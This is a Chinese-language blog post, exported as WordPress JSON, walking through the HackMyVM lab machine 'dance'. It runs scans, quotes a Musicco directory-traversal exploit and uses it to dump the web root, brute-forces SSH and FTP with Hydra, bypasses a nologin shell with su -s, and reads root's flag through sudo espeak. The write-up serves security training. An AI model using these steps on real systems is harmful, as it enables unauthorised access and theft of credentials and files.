{"id":716,"date":"2024-07-06T14:26:41","date_gmt":"2024-07-06T06:26:41","guid":{"rendered":"http:\/\/162.14.82.114\/?p=716"},"modified":"2024-07-06T14:26:41","modified_gmt":"2024-07-06T06:26:41","slug":"hmv-_-dance","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/716\/07\/06\/2024\/","title":{"rendered":"hmv[-_-]dance"},"content":{"rendered":"

dance<\/h1>\n

\"image-20240429122353241\"<\/div>
\n
\"image-20240706130207331\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ rustscan -a 192.168.0.116 -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.116:21\nOpen 192.168.0.116:22\nOpen 192.168.0.116:80\nPORT   STATE SERVICE REASON  VERSION\n21\/tcp open  ftp     syn-ack vsftpd 3.0.3\n|_ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:192.168.0.143\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 4\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n22\/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)\n| ssh-hostkey: \n|   3072 ff:f8:ef:1f:1b:a1:40:87:34:0c:3d:35:c7:29:b1:3d (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg\/5sl\/SrI6Syj08cBfH28mQjmn3zx\/zxqaEciJ5eGrsqNbNPD2qcB6vX4OnKSsCXayc4c8ahRdyHfGdv+nSQ5QnnyHzh6F6i0e2EK8ayAXivkfUwrkCJ\/nlXXieBxCsqL1kew7\/OktY8Eo53d\/QRSRF3A+xxUpo3fRbmNBTDyZG54IokfpYhI2ruT1K4w28NADGOnKJB\/Jd\/uqLR1H3y\/A18wkCoU5a4748efWhiQ3YB8WNfEN1nhjVFxrUnrt4OObIy6KGWOepdMbrFpLCGIKv1jI4ulBzBtNqPcPrc\/mbV9VpeMCvC9JbudvsvU571A8m70FIfFTgFt+CTWQFTf2J2jiJ2qwJco8vxzrr0NYsJr5EisEUrF\/YidJw+zwQNHshI4HWiAh6qGNZPsQQJhxxS2WzqUq5\/WTTMGAbtNYYw+PKjWqa8hzOuTNrk5K\/OU36OBAPSen39qOT53o3l5HNYtKZ3Gag3Yu4RyfR6D1ltwWD07tAJKL09\/zmRIZCE=\n|   256 08:f5:fd:33:51:89:82:29:74:2d:44:c8:54:e7:f1:16 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYxZRp9Y33HOJntlFR1PEiyJHP20etccdh73Gec3q8mxnyhMZ69YyCMbUdxDOQLfyNJH+AllEUK8QjCE55Crvk=\n|   256 53:c2:f0:6f:5d:2c:a1:da:7c:ad:c8:24:fd:85:d2:29 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGwdnN\/XBm\/nqCrNbQO05HFTVZBWTaNBWL7UxmO5UgoZ\n80\/tcp open  http    syn-ack nginx 1.18.0\n|_http-title: Site doesn't have a title (text\/html).\n| http-methods: \n|_  Supported Methods: GET HEAD\n|_http-server-header: nginx\/1.18.0\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.116\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.116\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,bak,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 121]\n\/music                (Status: 301) [Size: 169] [--> http:\/\/192.168.0.116\/music\/]\nProgress: 4402 \/ 1323366 (0.33%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 4435 \/ 1323366 (0.34%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240706131138020\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff1a<\/p>\n
 <audio controls>\n  <source src="nice.mp3" type="audio\/mpeg">\nYour browser does not support the audio element.\n<\/audio> <\/code><\/pre>\n
\u654f\u611f\u7aef\u53e3<\/h3>\n
\u5c1d\u8bd5\u6d4b\u8bd5\u4e00\u4e0bftp\u7aef\u53e3\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ ftp 192.168.0.116               \nConnected to 192.168.0.116.\n220 (vsFTPd 3.0.3)\nName (192.168.0.116:kali): Anoymous\n331 Please specify the password.\nPassword: \n530 Login incorrect.\nftp: Login failed\nftp> dir\n530 Please login with USER and PASS.\n530 Please login with USER and PASS.\nftp: Can't bind for data connection: Address already in use\nftp> q\n?Ambiguous command.\nftp> exit\n221 Goodbye.\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ ftp 192.168.0.116\nConnected to 192.168.0.116.\n220 (vsFTPd 3.0.3)\nName (192.168.0.116:kali): ftp\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> dir\n229 Entering Extended Passive Mode (|||19694|)\n150 Here comes the directory listing.\n226 Directory send OK.\nftp> ls -la\n229 Entering Extended Passive Mode (|||63496|)\n150 Here comes the directory listing.\ndrwxr-xr-x    2 0        113          4096 Sep 07  2021 .\ndrwxr-xr-x    2 0        113          4096 Sep 07  2021 ..\n226 Directory send OK.<\/code><\/pre>\n
\u6ca1\u53d1\u73b0\u5565\u4e1c\u897f\u3002\u3002\u3002\u3002<\/p>\n
\u654f\u611f\u76ee\u5f55<\/h3>\n
\"image-20240706131637254\"<\/div>
\n
\"image-20240706132005715\"<\/div><\/p>\n
\u5c1d\u8bd5\u641c\u7d22\u76f8\u5173\u6f0f\u6d1e\uff0c\u8fd9\u79cd\u64ad\u653e\u5668\u8fd8\u662f\u6709\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u7684\uff1a<\/p>\n
\"image-20240706132051725\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
# Exploit Title: Musicco 2.0.0 - Arbitrary Directory Download\n# Dork: N\/A\n# Date: 2018-11-09\n# Exploit Author: Ihsan Sencan\n# Vendor Homepage: https:\/\/www.musicco.app\/\n# Software Link: https:\/\/codeload.github.com\/micser\/musicco\/zip\/master\n# Version: 2.0.0\n# Category: Webapps\n# Tested on: WiN7_x64\/KaLiLinuX_x64\n# CVE: N\/A\n\n# POC: \n# 1)\n# http:\/\/localhost\/[PATH]\/?getAlbum&parent=[Directory]&album=Efe \n\n# \/[PATH]\/index.php\n#3592   } elseif (isset($_GET['getAlbum'])) {\n#3593           $parent = $_GET['parent'];\n#3594           $album = $_GET['album'];\n#3595           $rootPath = realpath($parent);\n#3596           $zip = new ZipArchive();\n#3597           $zip->open('.\/'.Musicco::getConfig('tempFolder').'\/'.$album.'.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);\n\nGET \/[PATH]\/?getAlbum&parent=..\/..\/..\/..\/Efe_S1\/apache\/conf&album=Efe HTTP\/1.1\nHost: TARGET\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nHTTP\/1.1 200 OK\nDate: Fri, 09 Nov 2018 14:24:42 GMT\nServer: Apache\/2.4.25 (Win32) OpenSSL\/1.0.2j PHP\/5.6.30\nX-Powered-By: PHP\/5.6.30\nSet-Cookie: musicco=rlparl6g67tsok72of1ln5tj23; path=\/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nContent-Disposition: attachment;filename="Efe.zip"\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: application\/zip, application\/octet-stream<\/code><\/pre>\n
\u4efb\u610f\u76ee\u5f55\u4e0b\u8f7d\u6f0f\u6d1e<\/h3>\n
http:\/\/192.168.0.116\/music\/?getAlbum&parent=\/etc\/passwd&album=Efe\n# \u4e0d\u884c<\/code><\/pre>\n
\u4ed4\u7ec6\u770b\u4e00\u4e0b\u662f\u8981\u538b\u7f29\u76ee\u5f55\u5185\u5bb9\uff0c\u5c1d\u8bd5\u83b7\u53d6\u6e90\u4ee3\u7801\uff1a<\/p>\n
http:\/\/192.168.0.116\/music\/?getAlbum&parent=\/var\/www\/html&album=Efe<\/code><\/pre>\n
\u5f97\u5230\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u5c1d\u8bd5\u89e3\u538b\uff1a<\/p>\n
\"image-20240706132549695\"<\/div><\/p>\n
\u5c06\u8d26\u53f7\u5bc6\u7801\u63d0\u53d6\u51fa\u6765\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
admin\nguest\naria\nalice\nava\nalba<\/code><\/pre>\n
admin\nguest\nseraphim\nrememberyou\npassword\nthehostof<\/code><\/pre>\n
\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ hydra -L user -P pass ssh:\/\/192.168.0.116 2>\/dev\/null                             \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-07-06 01:28:01\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6\/p:6), ~3 tries per task\n[DATA] attacking ssh:\/\/192.168.0.116:22\/\n[22][ssh] host: 192.168.0.116   login: aria   password: seraphim\n[22][ssh] host: 192.168.0.116   login: alba   password: thehostof\n1 of 1 target successfully completed, 2 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-07-06 01:28:10\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ hydra -L user -P pass ftp:\/\/192.168.0.116 2>\/dev\/null\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-07-06 01:28:21\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6\/p:6), ~3 tries per task\n[DATA] attacking ftp:\/\/192.168.0.116:21\/\n[21][ftp] host: 192.168.0.116   login: aria   password: seraphim\n[21][ftp] host: 192.168.0.116   login: alba   password: thehostof\n1 of 1 target successfully completed, 2 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-07-06 01:28:30<\/code><\/pre>\n
\u5c1d\u8bd5ssh\u767b\u5f55\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ ssh aria@192.168.0.116            \nThe authenticity of host '192.168.0.116 (192.168.0.116)' can't be established.\nED25519 key fingerprint is SHA256:+yHNH2lpEqQwCcR\/UdgzPxC+sReS9ku5Cjvo5aBV3uw.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '192.168.0.116' (ED25519) to the list of known hosts.\naria@192.168.0.116's password: \nLinux dance 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Tue Sep  7 12:50:06 2021 from 192.168.1.51\naria@dance:~$ ls -la\ntotal 32\ndrwxr-xr-x 3 aria aria 4096 Sep  7  2021 .\ndrwxr-xr-x 4 root root 4096 Sep  7  2021 ..\n-rw-r--r-- 1 aria aria  220 Sep  7  2021 .bash_logout\n-rw-r--r-- 1 aria aria 3526 Sep  7  2021 .bashrc\ndrwxr-xr-x 3 aria aria 4096 Sep  7  2021 .local\n-rw-r--r-- 1 aria aria  807 Sep  7  2021 .profile\n-rw------- 1 aria aria    9 Sep  7  2021 user.txt\n-rw------- 1 aria aria   51 Sep  7  2021 .Xauthority\naria@dance:~$ cat user.txt \ngodisadj\naria@dance:~$ exit\nlogout\nConnection to 192.168.0.116 closed.\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ ssh alba@192.168.0.116\nalba@192.168.0.116's password: \nLinux dance 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nThis account is currently not available.\nConnection to 192.168.0.116 closed<\/code><\/pre>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
aria@dance:~$ sudo -l\nMatching Defaults entries for aria on dance:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser aria may run the following commands on dance:\n    (alba) NOPASSWD: \/usr\/bin\/mopidy<\/code><\/pre>\n
\u5c1d\u8bd5\u770b\u4e00\u4e0bgtfobins<\/code>\uff0c\u4f46\u662f\u6ca1\u53d1\u73b0\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6587\u6863\uff1a<\/p>\n
aria@dance:~$ \/usr\/bin\/mopidy -h\nusage: mopidy [-h] [--version] [-q] [-v] [--config FILES] [-o OPTIONS]\n\nOPTIONS:\n\n  -h, --help            Show this message and exit\n  --version             show program's version number and exit\n  -q, --quiet           less output (warning level)\n  -v, --verbose         more output (repeat up to 4 times for even more)\n  --config FILES        config files to use, colon seperated, later files override\n  -o OPTIONS, --option OPTIONS\n                        `section\/key=value` values to override config options\n\nCOMMANDS:\n\nconfig\n\n  Show currently active configuration.\n\ndeps\n\n  Show dependencies and debug information.\n\naria@dance:~$ \/usr\/bin\/mopidy config\n[core]\ncache_dir = $XDG_CACHE_DIR\/mopidy\nconfig_dir = $XDG_CONFIG_DIR\/mopidy\ndata_dir = $XDG_DATA_DIR\/mopidy\nmax_tracklist_length = 10000\nrestore_state = false\n\n[logging]\nverbosity = 0\nformat = %(levelname)-8s %(asctime)s [%(process)d:%(threadName)s] %(name)s\\n  %(message)s\ncolor = true\nconfig_file =\n\n\nmixer = software\nmixer_volume = \noutput = autoaudiosink\nbuffer_time = \n\n[proxy]\nscheme = \nhostname = \nport = \nusername = \npassword = \n\n[file]\nenabled = true\nmedia_dirs = \n  $XDG_MUSIC_DIR|Music\n  ~\/|Home\nexcluded_file_extensions = \n  .directory\n  .html\n  .jpeg\n  .jpg\n  .log\n  .nfo\n  .pdf\n  .png\n  .txt\n  .zip\nshow_dotfiles = false\nfollow_symlinks = false\nmetadata_timeout = 1000\n\n[http]\nenabled = true\nhostname = 127.0.0.1\nport = 6680\nzeroconf = Mopidy HTTP server on $hostname\nallowed_origins = \ncsrf_protection = true\ndefault_app = mopidy\n\n[m3u]\nenabled = true\nbase_dir =\ndefault_encoding = latin-1\ndefault_extension = .m3u8\nplaylists_dir =\n\n[softwaremixer]\nenabled = true\n\n[stream]\nenabled = true\nprotocols = \n  http\n  https\n  mms\n  rtmp\n  rtmps\n  rtsp\nmetadata_blacklist = \ntimeout = 5000<\/code><\/pre>\n
\u6ca1\u601d\u8def\uff0c\u5c1d\u8bd5\u4e00\u4e0bftp\uff0c\u770b\u4e00\u4e0b\u6ca1\u767b\u4e0a\u53bb\u7684\u90a3\u4e2a\u7528\u6237\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance]\n\u2514\u2500$ ftp 192.168.0.116\nConnected to 192.168.0.116.\n220 (vsFTPd 3.0.3)\nName (192.168.0.116:kali): alba\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> ls -la\n229 Entering Extended Passive Mode (|||56843|)\n150 Here comes the directory listing.\ndrwxr-xr-x    2 1001     1001         4096 Sep 07  2021 .\ndrwxr-xr-x    4 0        0            4096 Sep 07  2021 ..\n-rw-r--r--    1 1001     1001          220 Sep 07  2021 .bash_logout\n-rw-r--r--    1 1001     1001         3526 Sep 07  2021 .bashrc\n-rw-r--r--    1 1001     1001          807 Sep 07  2021 .profile\n226 Directory send OK.\nftp> get .*\nlocal: . remote: .*\n229 Entering Extended Passive Mode (|||35528|)\n550 Failed to open file.\nftp> wget .*\n?Invalid command.\nftp> mget .*\nmget .bash_logout [anpqy?]? \n229 Entering Extended Passive Mode (|||27422|)\n150 Opening BINARY mode data connection for .bash_logout (220 bytes).\n100% |******************************************************************************************************|   220       11.12 KiB\/s    00:00 ETA\n226 Transfer complete.\n220 bytes received in 00:00 (10.14 KiB\/s)\nmget .bashrc [anpqy?]? \n229 Entering Extended Passive Mode (|||16736|)\n150 Opening BINARY mode data connection for .bashrc (3526 bytes).\n100% |******************************************************************************************************|  3526        2.07 MiB\/s    00:00 ETA\n226 Transfer complete.\n3526 bytes received in 00:00 (0.99 MiB\/s)\nmget .profile [anpqy?]? \n229 Entering Extended Passive Mode (|||59084|)\n150 Opening BINARY mode data connection for .profile (807 bytes).\n100% |******************************************************************************************************|   807       34.77 KiB\/s    00:00 ETA\n226 Transfer complete.\n807 bytes received in 00:00 (33.09 KiB\/s)\nftp> exit\n221 Goodbye.<\/code><\/pre>\n
\u6ca1\u53d1\u73b0\u5565\u6709\u7528\u7684\uff0c\u91cd\u65b0\u770b\u4e00\u4e0b\u76f8\u5173\u7cfb\u7edf\u6587\u4ef6\uff1a<\/p>\n
aria@dance:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:105:65534::\/run\/sshd:\/usr\/sbin\/nologin\naria:x:1000:1000:aria,,,:\/home\/aria:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nftp:x:106:113:ftp daemon,,,:\/srv\/ftp:\/usr\/sbin\/nologin\nmopidy:x:107:29::\/var\/lib\/mopidy:\/usr\/sbin\/nologin\nalba:x:1001:1001:,,,:\/home\/alba:\/usr\/sbin\/nologin<\/code><\/pre>\n
\u53d1\u73b0\u662fnologin<\/code>\u3002<\/p>\n
\u5207\u6362\u5230\u76ee\u6807\u7528\u6237\u7684bash<\/h3>\n
aria@dance:~$ su alba\nPassword: \nThis account is currently not available.\naria@dance:~$ su -h\n\nUsage:\n su [options] [-] [<user> [<argument>...]]\n\nChange the effective user ID and group ID to that of <user>.\nA mere - implies -l.  If <user> is not given, root is assumed.\n\nOptions:\n -m, -p, --preserve-environment      do not reset environment variables\n -w, --whitelist-environment <list>  don't reset specified variables\n\n -g, --group <group>             specify the primary group\n -G, --supp-group <group>        specify a supplemental group\n\n -, -l, --login                  make the shell a login shell\n -c, --command <command>         pass a single command to the shell with -c\n --session-command <command>     pass a single command to the shell with -c\n                                   and do not create a new session\n -f, --fast                      pass -f to the shell (for csh or tcsh)\n -s, --shell <shell>             run <shell> if \/etc\/shells allows it\n -P, --pty                       create a new pseudo-terminal\n\n -h, --help                      display this help\n -V, --version                   display version\n\nFor more details see su(1).\naria@dance:~$ su -s \/bin\/bash alba\nPassword: \nalba@dance:\/home\/aria$ cd ~\nalba@dance:~$ sudo -l\nMatching Defaults entries for alba on dance:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser alba may run the following commands on dance:\n    (root) NOPASSWD: \/usr\/bin\/espeak<\/code><\/pre>\n
\u8fd9\u4e2ahades\u9047\u5230\u8fc7\uff0c\u76f4\u63a5\u53ef\u4ee5\u53c2\u8003\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/espeak\/#sudo<\/a><\/p>\n
alba@dance:~$ sudo -u root \/usr\/bin\/espeak -qXf \/root\/.ssh\/id_rsa\nFailed to read file '\/root\/.ssh\/id_rsa'\nalba@dance:~$ sudo -u root \/usr\/bin\/espeak -qXf \/root\/root.txt\nTranslate 'deadcandance'\n  1     d        [d]\n\n 78     d) ead   [Ed]\n 36     ea       [i:]\n  1     e        [E]\n\n  1     c        [k]\n\n  1     a        [a]\n\n  1     n        [n]\n\n  1     d        [d]\n\n100     &) an (ce_ [@n]\n 76     C) an (c [aan]\n  1     a        [a]\n\n  1     c        [k]\n 22     c (e     [s]\n\n 41     &) e (_  []\n  1     e        [E]\n\n d'Edkand@ns<\/code><\/pre>\n
\u83b7\u5f97\u5230\u4e86root.txt\uff0c\u4f46\u662f\u6ca1\u6709rootshell\uff0c\u5c1d\u8bd5\u8fdb\u4e00\u6b65\u63d0\u6743\uff1a<\/p>\n
alba@dance:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/bin\/gpasswd\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/su\n\/usr\/bin\/chfn\n\/usr\/bin\/sudo\n\/usr\/bin\/chsh\n\/usr\/bin\/newgrp\n\/usr\/bin\/umount\nalba@dance:~$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/lib\/x86_64-linux-gnu\/gstreamer1.0\/gstreamer-1.0\/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep\n\/usr\/bin\/ping cap_net_raw=ep\nalba@dance:~$ cd \/tmp\nalba@dance:\/tmp$ wget http:\/\/192.168.0.143:8888\/linpeas.sh\n--2024-07-06 01:59:51--  http:\/\/192.168.0.143:8888\/linpeas.sh\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 860549 (840K) [text\/x-sh]\nSaving to: \u2018linpeas.sh\u2019\n\nlinpeas.sh                           100%[=====================================================================>] 840.38K  --.-KB\/s    in 0.05s   \n\n2024-07-06 01:59:51 (16.0 MB\/s) - \u2018linpeas.sh\u2019 saved [860549\/860549]\n\nalba@dance:\/tmp$ chmod +x linpeas.sh<\/code><\/pre>\n
\"image-20240706140137811\"<\/div><\/p>\n
\u53d1\u73b0\u5b58\u5728\u5185\u6838\u6f0f\u6d1e\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\uff0c\u4f46\u662f\u8fd9\u4e2aDirtypipe<\/code>\u6f0f\u6d1e\u53d1\u73b0\u65f6\u95f4\u6bd4\u9776\u673a\u8fd8\u665a\u4e00\u70b9\uff0c\u53ea\u80fd\u6682\u65f6\u5148\u8fd9\u6837\u4e86\u3002<\/p>\n
\u53c2\u8003<\/h2>\n
https:\/\/www.bilibili.com\/video\/BV14J4m147CV<\/a><\/p>\n
https:\/\/youtu.be\/c4zkD3_nzys<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
dance \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/dance] \u2514\u2500$ rusts […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-716","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/716","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=716"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/716\/revisions"}],"predecessor-version":[{"id":717,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/716\/revisions\/717"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=716"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=716"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=716"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}